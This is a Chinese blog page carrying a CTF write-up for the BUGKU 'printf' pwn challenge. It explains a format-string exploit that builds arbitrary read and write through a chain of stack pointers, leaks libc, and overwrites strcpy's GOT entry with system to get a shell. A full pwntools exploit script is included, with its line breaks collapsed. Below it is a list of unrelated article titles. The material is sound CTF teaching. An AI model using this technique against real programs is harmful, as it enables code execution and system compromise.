当前位置: 首页 > news >正文

BUGKU printf

整体思路

实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell

第一步:实现循环

从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。

encode1会将编码后的结果保存至0x2015c0处,而encode 1的编码逻辑比较简单,key的长度为0时明文和密文是一样的,因此只需传入b'\x00'为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。

第二步:获取libc版本和system函数地址

要获取libc版本,需要找到部分libc中的函数的地址,例如puts,read,printf,本题我们想办法找到puts和read函数的地址。

注意到,encode2在末尾调用了printf,且将密文作为唯一字符串传参,这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难,但encode2的密文并不是保存在栈上。

万变不离其宗:printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。

此外,由于每次循环只能printf一次,所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾(rbp)往上找,通常来说这段栈在main函数结束前不会被覆盖。(当然你也可以随便找一个会被回收的地方,然后赌下次调用前值是否被覆盖)

翻遍了代码,我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。

那么我们只能曲线救国,通常当字符串不在栈上时,要想往栈上某个地方写入任意值,我们就要找栈中是否存在一个超过3个元素的地址链条:p1-->p2-->p3,p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。

通过调试发现,encode2函数中,printf的第14个参数(记作$14)正好指向$50,而$50正好指向$54,更有趣的是$50中保存的是main函数的rbp寄存器的值,这意味着$54是main函数的栈尾。显然,$50和$54在循环间是不会被覆盖的。

现在我们有了这个链条,具体要怎么往栈上某处写入任意值呢?

这个某处就是p3,这题是$54。

假设此时$54为0x0, $50处为0x7fff6550

我要往$54写入0x1234567887654321,假设此时$50处为0x7fff6550

首先使用"%87c%14$hhn",$50的最低字节会被写入0x57从而变成0x7fff6557

然后使用"%18c%50$hhn",$54的最高字节会被写入0x12从而变成0x1200000000000000

接着使用"%86c%14$hhn",$50的最低字节会被写入0x56从而变成0x7fff6556

然后使用"%52c%14$hhn",$54的最高字节会被写入0x34从而变成0x1234000000000000

如此往复,直到把$54写成0x1234567887654321为止。

既然能实现$54的任意内容读写,那我们当然也能实现任意地址读了,只需通过上述方法往$54处写入任意地址,然后用"%54$s"即可读出。那如何实现任意地址写呢?假设我们要往0x1234处写入0x5678,首先先通过上述方法把$54写成0x1234,然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。

通过上述方法,我们可以轻易打印出puts和read函数的地址,然后利用LibcSearcher函数搜索libc版本并获取system地址。

第三步:将strcpy的got表项修改为system并获取shell

为什么是修改strcpy?

考虑到本题字符串不在栈上,对任意地址的写入要通过多个循环完成,这意味着用于必须选择一个不在这些循环中被调用到的函数,而puts,read,printf都不行,同时我们还必须能够传入想要的字符串到rdi中,正好encode3中的strcpy满足了这一条件。

源码如下:

需要注意的是,不同系统中的p1-->p2-->p3链条可能存在差异,博主测试发现Ubuntu 24.04中的链条是$22->$50->$54,而centos 8上则是$14->$50->$54,BUGKU官方靶机也是$14->$50->$54。

from pwn import *
from LibcSearcher import *context(os = 'linux', arch = 'amd64')
sh = process('./pwn6')
# sh = remote('114.67.175.224', 18702)# 构建encode2的密文->明文映射
c2m_v2 = {}
for a in range(256):c2m_v2[((a & 192) >> 6) + (a & 48) * 4 + (a & 12) * 4 + (a & 3) * 4] = a# 构建encode3密文->明文映射
c2m_v3 = {}
for a in range(256):k = ((a & 192) >> 2) + ((a & 48) >> 2) + ((a & 12) >> 2) + a * 64c2m_v3[k%256] = a# 写入201700处实现无限重入
sh.sendlineafter('choice:\n', '1')
sh.sendafter('keys?\n', b'\x00')    # 使得密文等于明文
sh.sendafter('to encode:\n', b'\x00' * 0x140 + p64(0x01111111))def get_ptr(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$p\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)addr = b'0x' + sentence.split(b'0x')[-1]addr = addr.decode('utf-8')addr = int(addr, 16)return addrdef get_value(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$s\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)value = u64(sentence[-6:].ljust(8, b'\x00'))return valuedef write_to_54(addr):content_50 = get_ptr(50);for j in range(8):i = 7 - j# write last byte of %50 from %14last_byte = content_50 % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%14$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of %54 from %50addr_byte = (addr & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(addr_byte) + 'c%50$hhn\x00'if addr_byte == 0:cipher = '%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)def write_from_54(addr, value):for j in range(8):i = 7 - j# write last byte of %54 from %50last_byte = addr % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of addr from %54value_byte = (value & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(value_byte) + 'c%54$hhn\x00'if value_byte == 0:cipher = '%54$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# 任意地址写
def modify(addr, value):# value至少得有六字节write_to_54(addr)write_from_54(addr, value)# 任意地址读
def get_value_of(addr):write_to_54(addr)return get_value(54)# PIE基地址
base_addr = get_ptr(51) - 0xe5b# 获取puts和read函数的地址
puts_got = base_addr + 0x201550
read_got = base_addr + 0x201560puts_addr = get_value_of(puts_got)
read_addr = get_value_of(read_got)# 搜索libc版本
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", puts_addr)# 获取system函数地址
libc_base_addr = read_addr - libc.dump('read')
system_addr = libc_base_addr + libc.dump("system")
print('system_addr', hex(system_addr))# printf修改strcpy的got使得指向system
strcpy_got = base_addr + 0x201580
modify(strcpy_got, system_addr)# 获取shell
sh.sendlineafter('choice:\n', '3')
cipher = '/bin/sh\x00'
plain = ''.join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
sh.recv()
sh.interactive()

相关文章:

BUGKU printf

整体思路 实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell 第一步&#xff1a;实现循环 从汇编语句可以看出&#xff0c;在每次循环结束时若0x201700处的值是否大于1则会继续循环。 encode1会将编码后的结果保存至0x2015c0处&am…...

深度学习:梯度下降法

损失函数 L&#xff1a;衡量单一训练样例的效果。 成本函数 J&#xff1a;用于衡量 w 和 b 的效果。 如何使用梯度下降法来训练或学习训练集上的参数w和b &#xff1f; 成本函数J是参数w和b的函数&#xff0c;它被定义为平均值&#xff1b; 损失函数L可以衡量你的算法效果&a…...

`console.log`调试完全指南

大家好&#xff0c;这里是 Geek技术前线。 今天我们来探讨 Console.log() 的一些优点。并分析一些基本概念和实践&#xff0c;这些可以让我们的调试工作变得更加高效。 理解前端 log 与后端 log 的区别 前端 log 与后端 log 有着显著的不同&#xff0c;理解这一点至关重要。…...

ROS VSCode调试方法

VSCode 调试 Ros文档 1.编译参数设置 cd catkin_ws catkin_make -DCMAKE_BUILD_TYPEDebug2.vscode 调试插件安装 可在扩展中安装(Ctrl Shift X): 1.ROS 2.C/C 3.C Intelliense 4.Msg Language Support 5.Txt Syntax 3.导入已有或者新建ROS工作空间 3.1 导入工作…...

16 —— Webpack多页面打包

需求&#xff1a;把 黑马头条登陆页面-内容页面 一起引入打包使用 步骤&#xff1a; 准备源码&#xff08;html、css、js&#xff09;放入相应位置&#xff0c;并改用模块化语法导出 原始content.html代码 <!DOCTYPE html> <html lang"en"><head&…...

微服务即时通讯系统的实现(服务端)----(3)

目录 1. 消息存储子服务的实现1.1 功能设计1.2 模块划分1.3 模块功能示意图1.4 数据管理1.4.1 数据库消息管理1.4.2 ES文本消息管理 1.5 接口的实现1.5.1 消息存储子服务所用到的protobuf接口实现1.5.2 最近N条消息获取接口实现1.5.3 指定时间段消息搜索接口实现1.5.4 关键字消…...

.net6.0 mvc 传递 model 实体参数(无法对 null 引用执行运行时绑定)

说一下情况&#xff1a; 代码没问题&#xff0c;能成功从数据库里查到数据&#xff0c;能将数据丢给ViewBag.XXXX, 在View页面也能获取到 ViewBag.XXXX的值&#xff0c;但是发布到线上后报这个错&#xff1a; Microsoft.CSharp.RuntimeBinder.RuntimeBinderException: 无法对 …...

VUE 入门级教程:开启 Vue.js 编程之旅

一、Vue.js 简介 Vue.js 是一套构建用户界面的渐进式 JavaScript 框架。它专注于视图层的开发&#xff0c;能够轻松地与其他库或现有项目进行整合。Vue.js 的核心库只关注视图层&#xff0c;通过简洁的 API 实现数据绑定和 DOM 操作的响应式更新&#xff0c;让开发者可以高效地…...

Ubantu系统docker运行成功拉取失败【成功解决】

解决docker运行成功拉取失败 失败报错 skysky-Legion-Y7000-IRX9:~$ docker run hello-world docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Head “http://%2Fvar%2Frun%2Fdocker.sock/_ping”: dial uni…...

mvn-mac操作小记

1.安装brew 如果报错&#xff0c;Warning: /opt/homebrew/bin is not in your PATH. vim ~/.zshrc&#xff0c;最后一行追加 export PATH“/opt/homebrew/bin:$PATH” source ~/.zshrc 2.安装brew install maven mvn -version查看路径 Maven home: /opt/homebrew/Cellar/mav…...

机器学习——生成对抗网络(GANs):原理、进展与应用前景分析

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一. 生成对抗网络的基本原理二. 使用步骤2.1 对抗性训练2.2 损失函数 三. GAN的变种和进展四. 生成对抗网络的应用五. 持续挑战与未来发展方向六. 小结 前言 生…...

「Mac畅玩鸿蒙与硬件33」UI互动应用篇10 - 数字猜谜游戏

本篇将带你实现一个简单的数字猜谜游戏。用户输入一个数字&#xff0c;应用会判断是否接近目标数字&#xff0c;并提供提示“高一点”或“低一点”&#xff0c;直到用户猜中目标数字。这个小游戏结合状态管理和用户交互&#xff0c;是一个入门级的互动应用示例。 关键词 UI互…...

Ps:存储 Adobe PDF

在 Adobe Photoshop 中&#xff0c;将图像保存为 PDF 文件时&#xff0c; 会弹出“存储 Adobe PDF” Save Adobe PDF对话框。在此对话框中提供了多个选项&#xff0c;用于控制 PDF 文件的输出&#xff0c;包括一般设置&#xff08;选择预设、兼容性和保留编辑功能&#xff09;、…...

DDR3保姆级使用教程:ZYNQ 7010

内容:使用DDR3 IP核&#xff0c;向DDR3写入数据&#xff0c;然后再读出数据&#xff0c;通过串口打印。 设备&#xff1a;ZYNQ 7010 xc7z010clg-400-1。软件VIVADO 2018.3 &#xff08;1&#xff09;工程模块&#xff1a;一个写FIFO&#xff0c;一个读FIFO。一个ZYNQ IP核&am…...

OpenCV 模板匹配全解析:从单模板到多模板的实战指南

简介&#xff1a;本文深入探讨 OpenCV 中的模板匹配技术。详细介绍构建输入图像与模板图像的步骤&#xff0c;包括读取、截取、滤波与存储等操作。剖析 cv2.matchTemplate 语法及其参数含义&#xff0c;阐述不同匹配方法下结果值的意义。同时讲解 cv2.minMaxLoc 语法&#xff0…...

【JAVA] 杂谈: java中的拷贝(克隆方法)

这篇文章我们来介绍什么是拷贝&#xff0c;并且实现浅拷贝到深拷贝。 目录 一、浅拷贝 1.1 clone 方法 1.2 实现浅拷贝&#xff1a; 1.2.1 重写 clone方法 1.2.2 实现接口 Cloneable 1.2.3 调用克隆方法 1.2.4 原理图&#xff1a;​ 1.3 浅拷贝的不足 1.3.1 增加引用…...

使用 PDF API 合并 PDF 文件

内容来源&#xff1a; 如何在 Mac 上合并 PDF 文件 1. 注册与认证 您可以注册一个免费的 ComPDFKit API 帐户&#xff0c;该帐户允许您在 30 天内免费无限制地处理 1,000 多个文档。 ComPDFKit API 使用 JSON Web Tokens 方法进行安全身份验证。从控制面板获取您的公钥和密钥&…...

关于BeanUtils.copyProperties是否能正常复制字段【详细版】

话不多说&#xff01;先总结&#xff1a; 1、字段相同&#xff0c;类型不同&#xff08;不复制&#xff0c;也不报错&#xff09; 2、子类父类 (1)子类传给父类&#xff08;可以正常复制&#xff09; (2)父类传给子类&#xff08;可以正常复制&#xff09; 3、子类父类&#x…...

爬虫框架快速入门——Scrapy

适用人群&#xff1a;零基础、对网络爬虫有兴趣但不知道从何开始的小白。 什么是 Scrapy&#xff1f; Scrapy 是一个基于 Python 的网络爬虫框架&#xff0c;它能帮助你快速爬取网站上的数据&#xff0c;并将数据保存到文件或数据库中。 特点&#xff1a; 高效&#xff1a;支…...

鸿蒙开发-HMS Kit能力集(应用内支付、推送服务)

1 应用内支付 开发步骤 步骤一&#xff1a;判断当前登录的华为账号所在服务地是否支持应用内支付 在使用应用内支付之前&#xff0c;您的应用需要向IAP Kit发送queryEnvironmentStatus请求&#xff0c;以此判断用户当前登录的华为帐号所在的服务地是否在IAP Kit支持结算的国…...

轻量级容器编排工具Herdctl:填补Docker Compose与K8s之间的空白

1. 项目概述&#xff1a;从容器到集群的轻量级管理工具如果你和我一样&#xff0c;长期在容器化和微服务架构的领域里摸爬滚打&#xff0c;那你一定对docker和docker-compose这两个名字再熟悉不过了。它们几乎是单体容器和多容器应用编排的“标准答案”。然而&#xff0c;当我们…...

多说话人场景下的设备定向语音检测技术解析

1. 多说话人场景下的设备定向语音检测技术解析在智能语音交互系统中&#xff0c;准确识别用户何时在对设备说话&#xff08;设备定向语音&#xff09;而非与他人交谈&#xff0c;是提升用户体验的关键技术挑战。这项技术被称为设备定向语音检测&#xff08;Device-Directed Spe…...

Godot弹幕游戏开发利器:BulletUpHell插件核心功能与实战指南

1. 项目概述&#xff1a;一个为弹幕地狱游戏而生的强大引擎如果你正在用Godot引擎开发一款弹幕射击游戏&#xff08;也就是我们常说的“弹幕地狱”或“STG”&#xff09;&#xff0c;并且正在为如何高效、灵活地生成成千上万颗轨迹各异的子弹而头疼&#xff0c;那么你很可能需要…...

Python自动化反向链接侦察工具:从爬虫原理到SEO实战应用

1. 项目概述&#xff1a;一个反向链接自动化侦察兵如果你做过网站运营、SEO或者内容营销&#xff0c;那你一定对“反向链接”这个词不陌生。简单来说&#xff0c;当网站A上有一个链接指向了你的网站B&#xff0c;这个链接就是你的一个反向链接。在搜索引擎的“世界观”里&#…...

sdd-riper:专业磁盘镜像工具在数据恢复中的原理与实践

1. 项目概述与核心价值最近在整理一些老旧存储设备时&#xff0c;遇到了一个挺典型的问题&#xff1a;手头有几块年代久远的硬盘&#xff0c;里面可能还存着一些早年间的照片、文档&#xff0c;但硬盘本身已经不太稳定&#xff0c;系统里能识别&#xff0c;但拷贝文件时动不动就…...

热间隙填充材料在PCB散热设计中的关键应用与选型

1. 热间隙填充材料在PCB散热设计中的核心作用热间隙填充材料&#xff08;Thermal Gap Filler&#xff09;是现代电子散热系统中不可或缺的功能性材料。作为一名经历过数十个散热方案设计的工程师&#xff0c;我深刻理解这类材料在解决"散热器与PCB之间公差累积"问题上…...

技能图谱探索器:从数据建模到交互可视化的全栈实现

1. 项目概述&#xff1a;一个技能图谱的探索工具最近在GitHub上看到一个挺有意思的项目&#xff0c;叫nitzzzu/openclaw-skills-explorer。光看名字&#xff0c;openclaw和skills-explorer这两个词就挺有画面感的。我第一反应是&#xff0c;这应该是一个用来探索、梳理或可视化…...

别再乱用`return`了!深入理解Lua函数多返回值:`table.unpack`的妙用与尾调用优化

别再乱用return了&#xff01;深入理解Lua函数多返回值&#xff1a;table.unpack的妙用与尾调用优化 在游戏开发中&#xff0c;我们经常需要处理复杂的技能系统。比如一个火球术可能同时返回伤害值、燃烧效果、目标列表等多个数据。新手开发者往往会写出这样的代码&#xff1a;…...

别再只调pool_size了!MaxPool2D的strides和padding参数实战避坑指南(附TensorFlow/Keras代码)

MaxPool2D参数深度解析&#xff1a;如何用strides和padding精准控制特征图尺寸 在构建卷积神经网络时&#xff0c;池化层的参数设置往往被当作"调参黑箱"一带而过。许多开发者习惯性地只调整pool_size&#xff0c;却对strides和padding参数的微妙影响缺乏足够重视。这…...

从‘能用’到‘优雅’:Python函数设计的3个坏味道与5个重构技巧(附代码对比)

从‘能用’到‘优雅’&#xff1a;Python函数设计的3个坏味道与5个重构技巧&#xff08;附代码对比&#xff09; 在Python开发中&#xff0c;函数是最基本的代码组织单元。许多开发者能够快速实现功能&#xff0c;却往往忽视了函数设计的质量。本文将揭示三种典型的函数设计&qu…...